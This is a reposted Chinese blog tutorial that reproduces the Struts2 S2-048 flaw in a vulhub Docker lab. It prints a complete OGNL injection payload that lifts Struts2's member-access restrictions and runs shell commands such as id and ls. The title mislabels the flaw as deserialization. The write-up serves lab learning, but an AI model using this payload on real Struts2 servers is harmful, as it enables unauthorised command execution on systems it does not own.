ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

漏洞复现篇——Struts2反序列化漏洞

2021-06-18 14:55:44  阅读:319  来源: 互联网

标签:dm Java 漏洞 Struts2 container 序列化 id


Struts2是什么?
Struts2 是 Apache 软件组织推出的一个相当强大的 Java Web 开源框架,本质上相当于一个 servlet。Struts2 基于 MVC 架构,框架结构清晰。通常作为控制器(Controller)来建立模型与视图的数据交互,用于创建企业级 Java web 应用程序
这套 Struts2 入门教程对 Struts2 框架进行了讲解,采用基础知识与案例相结合的编写方式,使读者更容易的学以致用。学习本课程前需要具备 Java Web 基础,熟悉 JSP 和 Servlet。

在这里插入图片描述

实验环境:
  • 火狐浏览器
  • Struts2
  • Ubuntu虚拟机

在这里插入图片描述

模拟实验:

1、开启漏洞环境

首先进入到/vulhub-master/struts2/s2-048目录
在这里插入图片描述
然后切换root用户,输入docker-compose up -d启动s2-048的漏洞环境
在这里插入图片描述
然后查看本机IP
在这里插入图片描述

2、利用漏洞

在火狐中访问http://你的IP:8080/showcase,然后依次点击图示位置在这里插入图片描述
来到这样一个界面,然后输入${10*233}提交
在这里插入图片描述
输出结果正确并提交
在这里插入图片描述
再输入%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}试试
在这里插入图片描述
id命令执行成功
在这里插入图片描述
换ls试一下依然成功
在这里插入图片描述
在这里插入图片描述

总结

这个版本的漏洞只能执行id/ls/dir/whoami/echo等简单的命令

标签:dm,Java,漏洞,Struts2,container,序列化,id
来源: https://blog.51cto.com/u_15274949/2922459

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有